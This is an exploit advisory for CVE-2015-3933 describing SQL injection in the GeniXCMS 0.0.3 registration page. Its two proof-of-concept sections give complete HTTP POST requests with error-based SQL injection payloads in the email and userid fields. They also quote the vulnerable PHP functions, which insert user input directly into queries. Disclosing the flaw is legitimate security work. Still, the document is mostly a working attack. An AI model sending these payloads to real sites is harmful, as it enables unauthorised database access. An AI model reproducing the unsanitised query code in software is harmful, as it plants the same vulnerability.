GeniXCMS 0.0.3 - register.php SQL Injection

# Exploit Title: Genixcms register.php multiple SQL vuln

# Date: 2015-06-23

# Exploit Author: cfreer (poc-lab)

# Vendor Homepage:  http://www.genixcms.org

# Software Link: https://codeload.github.com/semplon/GeniXCMS/zip/master/GeniXCMS-master.zip

# Version: 0.0.3

# Tested on: Apache/2.4.7 (Win32) 

# CVE : CVE-2015-3933





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SOFTWARE DESCRIPTION

=====================



Free and Opensource Content Management System, a new approach of simple and lightweight CMS. Get a new experience of a fast and easy to modify CMS.



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VULNERABILITY: SQL Injection

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Poc：



1、Genixcms register.php email SQL vuln



HTTP Data Stream



POST /genixcms/register.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 199



email='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&pass1=cfreer&pass2=cfreer&register=1&token=&userid=poc-lab









\inc\lib\User.class.php





public static function is_email($vars){

    if(isset($_GET['act']) && $_GET['act'] == 'edit'){

        $where = "AND `id` != '{$_GET['id']}' ";

    }else{

        $where = '';

    }

    $e = Db::result("SELECT * FROM `user` WHERE `email` = '{$vars}' {$where}");

    if(Db::$num_rows > 0){

        return false;

    }else{

        return true;

    }

}







==============================================================================================================================================

2、Genixcms register.php userid SQL vuln



HTTP Data Stream



POST /genixcms/register.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 224





email=websec@poc-lab.org&pass1=poc-lab.org&pass2=poc-lab.org&register=1&token=&userid='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'





\inc\lib\User.class.php



public static function is_exist($user) {

if(isset($_GET['act']) && $_GET['act'] == 'edit'){

    $where = "AND `id` != '{$_GET['id']}' ";

    }else{

        $where = '';

    }

    $usr = Db::result("SELECT `userid` FROM `user` WHERE `userid` = '{$user}' {$where} ");

    $n = Db::$num_rows;

    if($n > 0 ){

        return false;

    }else{

        return true;

    }



}